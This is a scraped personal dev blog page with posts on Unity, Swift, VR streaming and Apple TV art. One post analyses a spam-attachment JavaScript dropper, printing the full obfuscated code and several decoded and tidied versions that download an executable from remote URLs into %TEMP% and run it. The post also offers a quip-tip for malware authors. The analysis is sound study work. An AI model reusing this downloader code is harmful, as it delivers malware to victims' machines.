I started a new blog, you should follow it. It’s called @ivanatbest .
todays bird
Today's Document
AnasAbdin

ellievsbear

shark vs the universe
Jules of Nature
Cosimo Galluzzi
almost home
taylor price
trying on a metaphor
2025 on Tumblr: Trends That Defined the Year
will byers stan first human second
let's talk about Bridgerton tea, my ask is open

⁂

Product Placement

Andulka

Discoholic 🪩
Monterey Bay Aquarium
Cosmic Funnies

❣ Chile in a Photography ❣
seen from Canada

seen from United States

seen from Portugal
seen from China

seen from Malaysia

seen from Portugal

seen from Paraguay
seen from Portugal
seen from United States
seen from Canada
seen from Russia

seen from Portugal
seen from Italy

seen from Portugal

seen from Germany
seen from United States
seen from United States
seen from United States

seen from Malaysia

seen from Australia
@mousta-ch
I started a new blog, you should follow it. It’s called @ivanatbest .
Having some fun with a model by galliemichael
Doing more/less stuff
Earlier today, I went through my public GitHub page and was just incredibly disappointed by my contribution graph. I mostly work using local and private repositories for personal projects, as well as other services for professional work. I thought private repos were not counted in my graph history, but they are. I just had Git wrongly configured and sending commits under the wrong email (which meant they were sent under my account, for an unknown user).
Then it made me realize than due to my full time job, I haven’t released anything in the wild for over a year now. Besides the designs I make for Greyscalegorilla every month, all my (personal) work lies somewhere on one of my computers. I still do as much experimentation, start as many ideas as before, but my quality control went up and my personal work time went down. I have to make choices between learning, exploring or publishing work publicly.
A quick run through my folder revealed the hundreds of things I have started for the past year or so. Software, apps, designs and animations, games, articles for this blog, and a lot more things that are missing the extra mile of quality for me to be proud enough to release them. I have learned lots of new things which I am incredibly excited about, to both create new things and teach them to others.
Don’t get me wrong: I love my job and my company, I’m super proud of everything my team and I are building. I kind of miss freelancing sometimes, but there are many things about it that I don’t miss at all as well. But I don’t see anything I do ever getting to my portfolio due to secrecy, or because it’s not significant enough to be mentioned (a couple animations, some stuff for the website).
So here am I writing this for maybe the 3rd time since I opened this blog. Maybe who knows this time it’ll work. I’ll try to focus on smaller projects, and bringing them beyond the point "hey let’s see if that would work” stage. I still get messages (and a couple creepy invites on Facebook) from people who want more articles, news about stuff I have announced, and most of all new VJ loops. Thanks for anyone who sent some kind words and I swear I’ll do my best.
Oh, also I’ll be traveling for work for the next couple weeks. Sorry. I’ll still try.
Cheers!
Ivan_
360° mixed reality streaming for VR experiences.
Quick disclaimer: This article is an untested concept, as I do not have yet my VR headset and 360 livestreaming is not yet available on Youtube. However, it should absolutely work once all the pieces are put together.
Recently, a new trend appeared for Virtual Reality games marketing: Mixed Reality Videos. By combining real time game footage with a video feed, players can be integrated within the game environment to appear as if they were part of it. Furthermore, using camera tracking techniques (as simple as tapping a controller on the rig) the point of view can be matched when the camera moves. Mixed reality can be used for both sides of the Reality-Virtuality continuum.
For Augmented Reality, the technique can add CGI images in a real world environment, to add interactivity to the player’s surroundings.
For Virtual Reality, the player itself is captured against a green (or blue) screen and keyed-in a virtual environment. This makes games trailers and streaming a lot more engaging and interesting for the audience.
There is a lot of great content around the web that explains how to get started with this. The gist is, track the camera, key out the player place them on a plane at the headset’s location, and you’re pretty much set. The main issue is the lack of interactivity
My friends at Greyscalegorilla have been very kind to lend me a 360° camera called the Theta S by Ricoh ($345 on Amazon). I’ve been playing around for a while with it and though it might be interesting to use the camera’s livestreaming capabilities in a mixed-reality setting.
When shooting video with the camera, the output is made of two unstitched 180*360 hemispherical dome portions. The format is the same when using the HDMI output and a capture card. This format can easily be mapped using two half spheres and some UV work:
It works, but the result is not as good as the official result. Thankfully, Ricoh recently released an utility that turns the camera into a webcam, feeding an equirectangular result to the system
The result, such as this awkward picture of me writing the article, can simply be mapped to a sphere with spherical projection.
The first problem that arises is that very few places have 360*180 green screen rooms. one very easy way to fix this is (assuming the camera will be fixed) to create a matte to mask out any unwanted area. To do this, we just need to shoot a static panorama and bring in the result in Photoshop and paint any area we don’t need.
In this example I painted my furniture and my screen out. Why? No idea. Combining this with our live feed will help masking out unwanted elements whose position is fixed.
From what I could gather, it seems the usual way to handle live video in mixed reality trailers is to project it onto a plane placed at the headset’s position. For 360 videos, I would like to suggest using a full sphere, centered at the camera’s origin, with a radius equal to the distance from the HMD to the origin. That way, any projected part of the player will be at a fixed distance from the camera, avoiding further distortion.
Projection on a circle brings a problem of clipping, since the player is no longer a flat, straight down entity. If this turns out to be an issue (although distortion of the sphere should not be significant with the distance), another way would be to use spherical projection from the camera’s origin, onto a regular plane.
From there, we just have to render the 360 views out of Unity, or any render engine you are using. Since the player is actually in 3D space, it’s even possible to render out Stereoscopic 360° videos, for almost a full VR experience. This can be done using either a plugin, or by combining 6 squares cameras to generate a cubemap. There is also a Camera.RenderToCubemap function built in Unity, though I haven’t tried it yet.
The next step is to either capture the video and upload it to Youtube or Facebook, or wait for Youtube to support 360 livestreaming. In the meantime, you can grab the Theta S on Amazon and read how to shoot HDRI images with it on Greyscalegorilla.
This was a fairly empty article full of concepts, so if you decide to work on it feel free to reach out via my website or say hello on Twitter, there is a lot more to be said and I’d love to help out!
Design like it’s 2002
MMMM by Greyscalegorilla
I knew this one wasn’t going to be good, but decided to commit to it anyway. I feel like I should post it on Deviantart and use it as my MySpace profile picture.
Shake before use.
I’m lovin’ it by Greyscalegorilla
I am seriously obsessed with that drink. I’m in a plane sipping on one right now.
Designed for the Greyscalegorilla Daily Render project!
Happy Easter to all our designer friends!
Eggsadecimal by Greyscalegorilla
A last minute Easter render I made for Greyscalegorilla!
Soooo… Can we stop pretending this thing is not the greatest invention ever?
You know the sound. by Greyscalegorilla
Another render I made for Greyscalegorilla, using a model from my upcoming Clamp Simulator game. I’m not even kidding.
Making Unity a tiny bit more Retina
Ever since I switched to this engine a week ago, I was waiting for the editor to be Retina-enabled. Well today, Unity 5.4 beta came out, and it brings Retina support!
It looks absolurely great, although it suffers some of the same problems Cinema 4D does: many of the icons ans image resources are not optimised (But crisp text is, to me, the most important anyway). I’m fine with most of it, and there is not much I can do about it since the UI elements are seamingly compiled/encrypted.
However, playing a bit around one thing really caught my eye: cursors aren’t Retina. Since this is switching back and forth from the default OS one, it really stands out.
Fig. 1: Ew.
Luck is on our side, these cursors ars actually good ol’ png images! So all I had to do was grab them, redraw at 2x size and off we go!
Fig. 2: Oh yeah.
Cool beans! I actually tweaked the icon since i made that video to better center the eye, and make the keys a bit bolder. If you want to install them just download the images and drop them in Unity.app/Contents/Resources/.
I’ll upres the rest of the ressources in the folder soon and update this post, as I don’t use them as much as those two. By the way, it’s released under the WTFPL license, as long as it does not conflict with Unity’s copyright obviously (I don’t know anything about this to be honest).
If anyone know where I could find the other ones, I’d love to work on the rest of the icons and UI elements. Reach out on Twitter!
See you soon!
What it’s like to open spam attachments
Lately, I’ve been getting quite a lot of spam in my inbox. Usually I’m not too bothered, but for the past couple days it has been one message every hour, all with the same text, and a .zip attachment.
Now there is a very common rule in the internet. NEVER open attachments you don’t know. Especially if you know it’s spam. Especially if it’s a zip archive. So we’re going to do just that.
Because I don’t have a virtual machine handy, I decided to use an online tool to open the archive without risking too much.
It seems there is only a single javascript file in there. Let’s download it carefully. Opening the file reveals a very obfuscated code:
This is actually quite a surprise. I did the same a little while ago and while the code was also obfuscated, it was only 5 or 6 lines long. But it’s okay, let’s reverse engineer it!
Here’s the full code for reference:
return 1/0; function kgtiNbOn(VAQND,XHAQME) { var jxEL=["\x72\x75\x6E"]; VAQND[jxEL[0]](XHAQME); } function qtbgQOcyd(FDMmyWTqyWu) { var mhemBAlm = "dqDS Ws lbtepmV c jQpcLh ri pt eFXTtOly .S XRKmH he UtBZxp ll".split(" "); var sleuEdUw = pAHb(mhemBAlm[947-946] + mhemBAlm[609-606] + mhemBAlm[348-343] + mhemBAlm[573-567] + mhemBAlm[515-507] + mhemBAlm[295-285]+mhemBAlm[662-650]); kgtiNbOn(sleuEdUw,FDMmyWTqyWu); } function OAJwWYwVw(QeSQJ,twzel,XgGrp,xtea) { var ttgpI = "YCHzib wNs pt.Shell GAuRQdT Scri MJtQ %TE MP% \\ foNJkoXnI".split(" "); var fet=((749-748)?"W" + ttgpI[440-436]:"")+ttgpI[256-254]; var vh = pAHb(fet); return FIiYcKw(vh,ttgpI[307-301]+ttgpI[126-119]+ttgpI[742-734]); } function aOnFlvtQ() { var APjGKVD = "Sc kbVOvTR r fNkFUNFGa ipting BhTnKoz DZR ile DhTylOROxiBeuv System pT OIzqc Obj aNSYDm ect GsPrsug".split(" "); return APjGKVD[0] + APjGKVD[2] + APjGKVD[4] + ".F" + APjGKVD[7] + APjGKVD[9] + APjGKVD[12] + APjGKVD[14]; } function pAHb(ANXmf) { OWCbAiN = WScript.CreateObject(ANXmf); return OWCbAiN } function VovW(kIGzd,WubiM) { kIGzd.write(WubiM); } function spPM(eEGRT) { eEGRT.open(); } function wjDn(pxzxs,ZbwmC) { pxzxs.saveToFile(ZbwmC,573-571); } function HlDT(HMoAP,THsUs,KSmRv) { HMoAP.open(KSmRv,THsUs,false); } function vGJT(ZtojG) { if (ZtojG == 533-333){return true;} else {return false;} } function safF(mHjdY) { if (mHjdY > 191559-835){return true;} else {return false;} } function QEUe(KbGoS) { var xkkyv=""; k=(170-170); while(true) { if (k >= KbGoS.length) {break;} if (k % (898-896) != (591-591)) { xkkyv += KbGoS.substring(k, k+(706-705)); } k++; } return xkkyv; } function TLdC(IDRqd) { var XnzvlBwS=["\x73\x65\x6E\x64"]; IDRqd[XnzvlBwS[0]](); } function dSQq(XyWkU) { return XyWkU.status; } function kSvTA(JpLVlr) { return new ActiveXObject(JpLVlr); } function FIiYcKw(IMAt,mSpYL) { return IMAt.ExpandEnvironmentStrings(mSpYL); } function gJlaHEg(iAAD) { return iAAD.responseBody; } function SbNmTdSZ(XWK) { return XWK.size; } function RbuUa(hwuiff) { return hwuiff.position=773-773; } var xg="Hh2eVlvlfosmLims8sBiks0sbmWirtMh3qiqA.CcYokmj/J8r0PemECfnoe?O FmpoimJmwyZcEa2nZtgawkQeXfEfW.achocm9/D8t0IeAEhf3oQ?a n?1 d?j o?"; var iQ = QEUe(xg).split(" "); var mmVUbw = ". wvhVpF e eKsLujJm xe eEfo".split(" "); var l = [iQ[0].replace(new RegExp(mmVUbw[5],'g'), mmVUbw[0]+mmVUbw[2]+mmVUbw[4]),iQ[1].replace(new RegExp(mmVUbw[5],'g'), mmVUbw[0]+mmVUbw[2]+mmVUbw[4]),iQ[2].replace(new RegExp(mmVUbw[5],'g'), mmVUbw[0]+mmVUbw[2]+mmVUbw[4]),iQ[3].replace(new RegExp(mmVUbw[5],'g'), mmVUbw[0]+mmVUbw[2]+mmVUbw[4]),iQ[4].replace(new RegExp(mmVUbw[5],'g'), mmVUbw[0]+mmVUbw[2]+mmVUbw[4])]; var Wdl = OAJwWYwVw("jSLC","qxoHg","rVzSTJ","FjOzXaH"); var Vmr = kSvTA(aOnFlvtQ()); var IMJAsw = ("heGQVSP \\").split(" "); var GXUL = Wdl+IMJAsw[0]+IMJAsw[1]; try{ Vmr.CreateFolder(GXUL); }catch(WVbqsL){ }; var KWu = ("2.XMLHTTP fCXOofj YhbDu XML ream St XNEOHMPc AD ddkZYCY O EsUm D").split(" "); var br = true , zWUM = KWu[7] + KWu[9] + KWu[11]; var bo = pAHb("MS"+KWu[3]+(714312, KWu[0])); var UYn = pAHb(zWUM + "B." + KWu[5]+(148242, KWu[4])); var Bkq = 0; var o = 1; var ebjbxYn = 583782; var B=Bkq; while (true) { if(B>=l.length) {break;} var Ld = 0; var oPp = ("ht" + " AxfJdPP tp rjKhB Afimzpbz :// hoydGPD .e slXuH x imwScl e G yccjVEQ E pcxlPpHW T").split(" "); try { var DaWWm=oPp[660-660]+oPp[485-483]+oPp[338-333]; HlDT(bo,DaWWm+l[B]+o, oPp[12]+oPp[14]+oPp[16]); TLdC(bo); if (vGJT(dSQq(bo))) { spPM(UYn); UYn.type = 1; VovW(UYn,gJlaHEg(bo)); if (safF(SbNmTdSZ(UYn))) { Ld = 1;RbuUa(UYn);wjDn(UYn,/*NrDl78uxLE*/GXUL/*mnVI38p8RV*/+ebjbxYn+oPp[7]+oPp[9]+oPp[11]); try { if (271>19) { qtbgQOcyd(GXUL+ebjbxYn+/*RFwl139xM6*/oPp[7]+oPp[9]+oPp[11]/*Q8L7656D52*/); break; } } catch (qP) { }; }; UYn.close(); }; if (Ld == 1) { Bkq = B; break; }; } catch (qP) { }; B++; };
Note: I added a return at the top to avoid running it by mistake.
Looking really quickly at the file, we can see a few key elements:
ExpandEnvironmentStrings is present, which indicates VBScript
Said script seems to be called using a ActiveXObject
There are a couple RegEx’s, which will definitely be a pain
There are multiple URLS, all obfuscated but easy to spot.
There are no eval() , probably to avoid detection.
Running the script through a beautifier to make it easier to read helps, but deobfuscators seem helpless on that one. The good news is, it’s mostly strings, so we can simply strip down the code a actually run it to get the unobfuscated goodness.
The script itself starts line 204, after many functions declarations. It declares a string, that gets transformed on the next line using a function.
function QEUe(KbGoS) { var xkkyv = ""; k = (170 - 170); while (true) { if (k >= KbGoS.length) { break; } if (k % (898 - 896) != (591 - 591)) { xkkyv += KbGoS.substring(k, k + (706 - 705)); } k++; } return xkkyv; }
By removing uneeded operations and renaming variables, what the function does becomes pretty clear:
function QEUe(KbGoS) { var out = "", k = 0; while (true) { if (k >= KbGoS.length) { break; } if (k % 2 != 0) { out += KbGoS.substring(k, k +1); } k++; } return out; }
It takes a string, and outputs only odd characters in it. Let’s run this code in a distant console to avoid any risk (there isn’t anyway at this stage).
Boom, we found our first URLs! Let’s replace them in the code, and get rid of the QEUe function since it’s not used anywhere else. The URLs don’t give out much useful info since the registrar is blocked by a WhoisProxy. Traceroute fails because of what seems to be a firewall.
The next two lines introduce RegExes in the game.
var mmVUbw = ". wvhVpF e eKsLujJm xe eEfo".split(" "); var l = [iQ[0].replace(new RegExp(mmVUbw[5], 'g'), mmVUbw[0] + mmVUbw[2] + mmVUbw[4]), iQ[1].replace(new RegExp(mmVUbw[5], 'g'), mmVUbw[0] + mmVUbw[2] + mmVUbw[4]), iQ[2].replace(new RegExp(mmVUbw[5], 'g'), mmVUbw[0] + mmVUbw[2] + mmVUbw[4]), iQ[3].replace(new RegExp(mmVUbw[5], 'g'), mmVUbw[0] + mmVUbw[2] + mmVUbw[4]), iQ[4].replace(new RegExp(mmVUbw[5], 'g'), mmVUbw[0] + mmVUbw[2] + mmVUbw[4])];
Turns out, once cleaned up, it makes a lot more sense:
var l = [iQ[0].replace(new RegExp("eEfo", 'g'), ".exe"), iQ[1].replace(new RegExp("eEfo", 'g'), ".exe"), iQ[2].replace(new RegExp("eEfo", 'g'), ".exe"), iQ[3].replace(new RegExp("eEfo", 'g'), ".exe"), iQ[4].replace(new RegExp("eEfo", 'g'), ".exe")];
Once again, the . exe part was obfuscated to avoid detection. If you’re writing your own malware you can save some time by using substrings operations rather than regex. See performance comparaison on StackOverflow .
Next, the code calls a function called OAJwWYwVw . That function itself calls pAHb and FIiYcKw . Here’s what it looks like:
function pAHb(ANXmf) { OWCbAiN = WScript.CreateObject(ANXmf); return OWCbAiN } function FIiYcKw(IMAt, mSpYL) { return IMAt.ExpandEnvironmentStrings(mSpYL); } function OAJwWYwVw(QeSQJ, twzel, XgGrp, xtea) { var ttgpI = "YCHzib wNs pt.Shell GAuRQdT Scri MJtQ %TE MP% \\ foNJkoXnI".split(" "); var fet = ((749 - 748) ? "W" + ttgpI[440 - 436] : "") + ttgpI[256 - 254]; var vh = pAHb(fet); return FIiYcKw(vh, ttgpI[307 - 301] + ttgpI[126 - 119] + ttgpI[742 - 734]); } var Wdl = OAJwWYwVw("jSLC", "qxoHg", "rVzSTJ", "FjOzXaH");
By replacing the functions inline and deobfuscating the strings, here’s what it looks like:
function OAJwWYwVw() { var fet = "WScript.Shell"; var vh = WScript.CreateObject(fet); return vh.ExpandEnvironmentStrings("%TEMP%\\"); }
Ouch. If this part of the code works, it is the point where the cary stuff gets created. The code prepares the way for the script and the next couple of lines starts system interaction. Here it is decoded:
var Vmr = new ActiveXObject("Scripting.FileSystemObject"); var GXUL = Wdl + "heGQVSP\\"; try { Vmr.CreateFolder(GXUL); } catch (e) {};
The next couple of lines then an ADODB.Stream object, made to stream binary to a distant server, and MSXML2.XMLHTTP which is an ActiveX object made for XML requests.
var KWu = ("2.XMLHTTP fCXOofj YhbDu XML ream St XNEOHMPc AD ddkZYCY O EsUm D").split(" "); var br = true, zWUM = KWu[7] + KWu[9] + KWu[11]; var bo = pAHb("MS" + KWu[3] + (714312, KWu[0])); var UYn = pAHb(zWUM + "B." + KWu[5] + (148242, KWu[4]));
And here it is decoded:
var bo = WScript.CreateObject("MSXML2.XMLHTTP"); var UYn = WScript.CreateObject("ADODB.Stream");
Next, we encounter this code:
var oPp = ("ht" + " AxfJdPP tp rjKhB Afimzpbz :// hoydGPD .e slXuH x imwScl e G yccjVEQ E pcxlPpHW T").split(" "); try { var DaWWm = oPp[660 - 660] + oPp[485 - 483] + oPp[338 - 333]; HlDT(bo, DaWWm + l[B] + o, oPp[12] + oPp[14] + oPp[16]); TLdC(bo); (...)
Let’s pause for a second to look at TLdC (). It has a new way of obfuscating its real purpose, this time by encoding a function name as escaped characters, and calling it as the object’s property:
function TLdC(IDRqd) { var XnzvlBwS = ["\x73\x65\x6E\x64"]; IDRqd[XnzvlBwS[0]](); }
Which decodes to
function TLdC(IDRqd) { IDRqd.send(); }
Now that’s done, let’s go back to our previous piece of code. Here it is decoded:
try { bo.open("GET", "http://" + l[0] + 1); bo.send(); (...)
We can see it reuses the bo XMLHTTP object, grabs an URL from l we decoded earlier and executes it. I changed it so that it grabs the first url to avoid additional complexity while decoding.
The next lines are there to handle the request:
if (vGJT(dSQq(bo))) { spPM(UYn); UYn.type = 1; VovW(UYn, gJlaHEg(bo));
Decoded, we can see it checks the response and write it into our earlier stream.
if (bo.status == 200) { UYn.open(); UYn.type = 1; UYn.write(bo.responseBody);
Then, the following piece of codes saves the stream as an executable:
if (safF(SbNmTdSZ(UYn))) { Ld = 1; RbuUa(UYn); wjDn(UYn, /*NrDl78uxLE*/ GXUL /*mnVI38p8RV*/ + ebjbxYn + oPp[7] + oPp[9] + oPp[11]);
Decoded version:
if (UYn.size > 190724) { Ld = 1; UYn.position = 0; UYn.saveToFile(GXUL + "583782.exe",2);
We can notice GXUL , which is our previously created path in the %TEMP% folder. The next piece of code is a a new level of complexity:
try { if (true) { qtbgQOcyd(GXUL + ebjbxYn + /*RFwl139xM6*/ oPp[7] + oPp[9] + oPp[11] /*Q8L7656D52*/ ); break; } } catch (qP) {};
For context, here’s what the qtbgQOcyd function looks like:
function qtbgQOcyd(FDMmyWTqyWu) { var mhemBAlm = "dqDS Ws lbtepmV c jQpcLh ri pt eFXTtOly .S XRKmH he UtBZxp ll".split(" "); var sleuEdUw = pAHb(mhemBAlm[947 - 946] + mhemBAlm[609 - 606] + mhemBAlm[348 - 343] + mhemBAlm[573 - 567] + mhemBAlm[515 - 507] + mhemBAlm[295 - 285] + mhemBAlm[662 - 650]); kgtiNbOn(sleuEdUw, FDMmyWTqyWu); }
Since it is a combination of previous encryptions on multiple levels, it can be decrypted like this:
function qtbgQOcyd(FDMmyWTqyWu) { var sleuEdUw = WScript.CreateObject("Wscript.Shell"); sleuEdUw.run(FDMmyWTqyWu); }
Which mean we end up with this:
try { if (true) { var sleuEdUw = WScript.CreateObject("Wscript.Shell"); sleuEdUw.run(GXUL + "583782.exe"); break; } } catch (qP) {};
And that’s it! We’ve decrypted the whole thing. The scripts creates multiple ActiveX objects to download and store a binary executable, then runs it. Here’s what the code looks like decrypted:
var l = [ '_URL1_/80.exe?', '_URL2_/80.exe?', '?', '?', '?' ]; var fet = "WScript.Shell"; var vh = WScript.CreateObject(fet); var Wdl = vh.ExpandEnvironmentStrings("%TEMP%\\"); var Vmr = new ActiveXObject("Scripting.FileSystemObject"); var GXUL = Wdl + "heGQVSP\\"; try { Vmr.CreateFolder(GXUL); } catch (e) {}; var bo = WScript.CreateObject("MSXML2.XMLHTTP"); var UYn = WScript.CreateObject("ADODB.Stream"); var Bkq = 0; var B = 0; while (true) { if (l.length <= 0) { break; } var Ld = 0; try { bo.open("GET", "http://" + l[B] + 1); bo.send(); if (bo.status == 200) { UYn.open(); UYn.type = 1; UYn.write(bo.responseBody); if (UYn.size > 190724) { Ld = 1; UYn.position = 0; UYn.saveToFile(GXUL + "583782.exe",2); try { if (true) { var sleuEdUw = WScript.CreateObject("Wscript.Shell"); sleuEdUw.run(GXUL + "583782.exe"); break; } } catch (qP) {}; }; UYn.close(); }; if (Ld == 1) { Bkq = B; break; }; } catch (qP) {}; B++; };
Now sure, this code is fairly straightforward and harmless, but once the .exe is on your system running a lot of damage can be done. It's pretty interesting to note this code relies a lot on Windows functions, more specifically Internet Explorer's Active X components to run.
Let’s talk about quality:
Two shell objects are created for no apparent reason. Reuse them!
Lots of unnecessary variables that are probably not the result of obfuscation
No error management or compatibility check
Extraneous semicolons after if statements
Useless comments
Proper line breaks but missing indentation
Bad use of while()
Good networking patterns, besides the lack of asynchronous request
I give a 7/10 to this script, considering there is more to see in the .exe file. Here’s what it looks like with some better syntax and variable names:
var l = [ '_URL1_/80.exe?', '_URL2_/80.exe?', '?', '?', '?' ]; var shell = WScript.CreateObject("WScript.Shell"); var tempPath = shell.ExpandEnvironmentStrings("%TEMP%\\"); var fullPath = tempPath + "heGQVSP\\"; var fileSystem = new ActiveXObject("Scripting.FileSystemObject"); try { fileSystem.CreateFolder(fullPath); } catch (e) { console.log("Error : " + e); } var XMLRequest = WScript.CreateObject("MSXML2.XMLHTTP"); var ADOStream = WScript.CreateObject("ADODB.Stream"); for(var currentURL in urls) { try { XMLRequest.open("GET", "http://" + urls[B] + 1); XMLRequest.send(); if (XMLRequest.status == 200) { ADOStream.open(); ADOStream.type = 1; ADOStream.write(XMLRequest.responseBody); if (ADOStream.size > 190724) { Ld = 1; ADOStream.position = 0; ADOStream.saveToFile(fullPath + "583782.exe", 2); try { if (true) { var newShell = WScript.CreateObject("Wscript.Shell"); newShell.run(fullPath + "583782.exe"); break; } } catch (e) { console.log("Error : " + e); } } ADOStream.close(); } } catch (e) { console.log("Error : " + e); } }
That’s it for us today! Next time, we’ll check if there really are hot singles in my area.
Until then, have a great one and don't open attachments!
Calling Swift code in Unity
If you read my blog, you probably know I like quick prototyping, and mixing stuff that shouldn’t go together.
Lately, my tools of choice have been Swift coupled with SceneKit whenever I need some 3D stuff. I’ve always prefered SceneKit for its no overhead, built into the OS philosophy, but after two years I’m hitting its limits and I cannot ignore it any longer.
This realization came a couple days ago, after completing a SceneKit project with quite a few compromises, and what I now realize what too much work for the results. Couple that with my HTC Vive on the way, I needed to switch to a more fleshed out engine. I’ve always had a love/hate relationship with Unity, but realizing the Personal Edition now comes with what used to be pro-only features made the choice a lot easier.
However, I’m sure as hell not giving up Swift. I’ve been working hard lately to get many OS features such as MIDI, HID etc. bundled up into neat frameworks for quick and easy prototyping so I want keep using those. Sadly, Unity lacks easy OS-level acces. So buckle up, today we’re going to build a Swift->Unity Bridge!
For this example, we’re going to build a Swift class that has a sound playing function. Let’s start by creating a new Bundle Project in Xcode.
As you can guess, the name REALLY doesn’t matter. The next thing we’re going to do is create an Objective-C class file.
The subclass doesn’t really matter, as I will erase any boilerplate code. You can absolutely keep it if you want, but you’ll still have to make the following changes:
Open the .h and define your bridging functions. Here are a few examples in case you’re not too familiar with C:
extern "C" { const char* ThisReturnsAChar(); int ThisReturnsAnInt(); int ThisTakesTwoIntsAndReturnsOne(int, int); void ThisDoesntReturn(); }
For our example, we’ll only need one function:
extern "C" { void beep(); }
Now it’s time to define our function’s body. We simply need to import the header and set up the function like you would normally:
#include "BeepPlugin.h" void beep(){ // things will be happening in here I guess }
And here’s where the fun part beggins. Let’s create a new Swift file. Name it however you want, and when this dialog appears:
Make sure you create the bridging header.
Once that is set up, you can add your code as usual. Make sure your class inherits from NSObject and that you use @objc before your class.
import AppKit // NSSounds comes from here // We need to add the @objc label and subclass NSObject // to make sure it gets the proper bridging @objc class BeepSwift : NSObject { func beep(){ NSSound(named: "Funk")?.play() } }
If you try to use that class in the .m file, you’ll be greeted with an error:
That is because you are missing the Swift Bridge header. Not the Objective-C one that you created earlier, but another one that is generated by Xcode at build time.
To make sure it gets built, in your build settings check that your Product Module Name is set up properly. You can define it as something else than your target’s name but you will need to remember it.
Next, you need to make sure Defines Module is set to Yes.
Since we are using AppKit, we need to set Embedded Content Contains Swift Code to Yes.
Remove any reference to Swift in your Objective-C file to let the header compile, then build. If you encounter the following error, you need to rename your .m file to have the .mm extension.
Navigate to your .mm file, and include the newly generated header file:
#include "YOUR-MODULE-NAME-Swift.h" // So in my case: #include "SwiftBeep-Swift.h"
Note that this file will NOT appear in Xcode.
Try creating your object again. If autocompletion comes up, you should be good to go.
Your .mm file should look somewhere along these lines:
#include "BeepPlugin.h" #include "SwiftBeep-Swift.h" void beep(){ [[[BeepSwift alloc] init] beep]; }
Build your project, and navigate to the resulting bundle by right clicking on it on the left side panel, under Products.
Now open your Unity project in Finder, and the Assets folder. If you do not have one, create a Plugins folder, and open it. In this folder, copy and paste your newly created bundle. It should appear automagically in your Unity project browser:
Selecting the plugin will tell you if it is properly recognised as a bundle:
As you can tell, the warning tells you that you cannot hot reload a bundle. This is an OS limitation and the only way to update a bundle is to restart Unity.
To get our beep on, let’s create a new script, a new empty GameObject, and add the script on said object:
I made the script in C#, but Javascript should work too (I haven’t tried yet at time of writing). Let’s open it in Mono. The first thing we need to do is import the Interoperating thingie using this:
using System.Runtime.InteropServices;
Then, in your class, outside functions you can prepare the bridge:
[DllImport ("SwiftBeep")] private static extern void beep();
The thing in between brackets is an attribute, just like const. So you’ll need to use it for every function. If we were to import the earlier example, it would look like this:
[DllImport ("SwiftBeep")] private static extern IntPtr ThisReturnsAChar(); [DllImport ("SwiftBeep")] private static extern int ThisReturnsAnInt(); [DllImport ("SwiftBeep")] private static extern int ThisTakesTwoIntsAndReturnsOne(int i1,int i2); DllImport ("SwiftBeep")] private static extern void ThisDoesntReturn(); }
Finally, in your Start() (or Update), you can call the function.
using UnityEngine; using System.Collections; using System.Runtime.InteropServices; public class BeepMachine : MonoBehaviour { [DllImport ("SwiftBeep")] private static extern void beep(); void Start () { beep (); } }
Press play, and enjoy the beautiful tune that is the default “oh crap I shouldn’t have done that” sound on Mac.
Next time, we’ll try to find a way to have more complex communication, nottably for interfacing physical devices. How fun is that?!
See you soon!
Experimenting with organic shapes and Signal. Obligatory TopCoat texture for maximum awesomeness!
Gigerin’ by Greyscalegorilla
Another animation I made for Greysalegorilla. Definitely fun to make!
Extracting data from NSKeyedArchiver files
Cleaning up my hard drive, I came across a back up from an old iPhone. I extracted the data from it and started looking around, until I found a photo app I used to snap a lot with. A couple years ago, that app got acquired and I thought my pictures got lost forever, but it turns out I had an encrypted copy of them right there this whole time! It’s 4am, nothing better than reverse engineering to spend a week night!
NSKeyedArchiver is one of those functions in an OS that make most of us “there is no way it does that”. It takes an object, and serializes it into a plist file with any needed info. Class, properties, even object properties are saved in this file. UIImages are saved as NSData. And that’s great for us.
Opening the plist in Xcode shows what I was hoping for: the Data is still right there in the file.
My first thought was using the NSKeyedUnarchiver, but this requires the original class, and therefore you need to know how the initial object was set up. While it’s fairly easy to guess from the plist file, using a little utility called PlistExplorer simplified the project quite a bit.
The problem is, rebuilding a class then an object sounds overkill for simply extracting an image. So how about we grab it by hand? After all, plist are part of the OS and it’s incredibly easy to parse them!
There was quite a bit of goofing around to get the files up in a playground, but the gist is, create a “Shared Playground Data“ folder in your documents, and you’ll be good to run the following code.
You will need to adapt the dictionary path to make it point to the correct subpath of the NSData in your file, however all files from a same class should have the same layout so you will only have to configure it once.
import UIKit import XCPlayground let myPath = NSFileManager.defaultManager().currentDirectoryPath let path = XCPlaygroundSharedDataDirectoryURL.URLByAppendingPathComponent("file.plist") let myDict = NSDictionary(contentsOfURL: path) let data = myDict!["$objects"]![7]!["NS.data"] as! NSData let image = UIImage(data: data)
And there you have it! A neat UIImage for you to inspect, and why not even save.
I never said the pictures were good. I just wanted a challenge.
Anyway, next step will be automating the export, to save out the 200+ photos and realize how much I did not miss them.
See you next time!
About a month ago I got stuck in the L for about an hour, so I started modeling what I had in front of me. I didn’t plan to texture it at all but once again TopCoat saves the day
The L by Greyscalegorilla
Another fun(?) animation I made for Greyscalegorilla daily render project!
Breaking/continuing nested loops in Swift
I was just working on some algorithm that involve nested loops for iterating over multidimensional arrays. Nothing too fancy but I hit a problem:
Each operation, executed xyz(...) times, can get fairly heavy and processor intensive. Therefore, as soon as the desired result is attained, skipping the following results is a pretty good idea so we can get started on the next top-level index, as soon as possible. Unfortunately, a break statement only works one level and soon enough I'm using awkward boolean variables to do something that easy.
Turns out, you can name your loops! This is probably something pretty simple, but I just discovered it and it might help you, or at least give me some reference to go back to when I forget in the morning.
As an example, here's continue in action.
outsideLoop :for a in 1...10 { for b in 1...10 { print(a,b) if(a == b){ continue outsideLoop} } }
This code will list all the numbers in 0...b until a == b, then skip anything after and go on to finding the next match.
In case we want to stop the whole chain, we can use break instead of continue:
outsideLoop :for a in 1...5 { for b in 1...5 { print(a,b) if(a+b == 7){ break outsideLoop} } } print("Welcome Back")
This code will find the first way to make 7 out of a and b, then go on. Unlike a return statement, it will keep running the code in scope, without wasting time for any unneeded loop!
The more you know 🌟
Extracting layers from Apple TV Posters
For a little bit of time now I have been working on a 4th Gen Apple TV app. The app being about movies, I wanted to make sure the UI fits in within the whole ATV ecosystem, meaning any movie or TV show poster will need to have multiple layers, and a parallax effect.
Fig 1. High quality recording of the intended effect
It is pretty subtle, but if you’ve played with the device for a little bit you know how it feels. It is definitely missing when a poster is not parallax enabled.
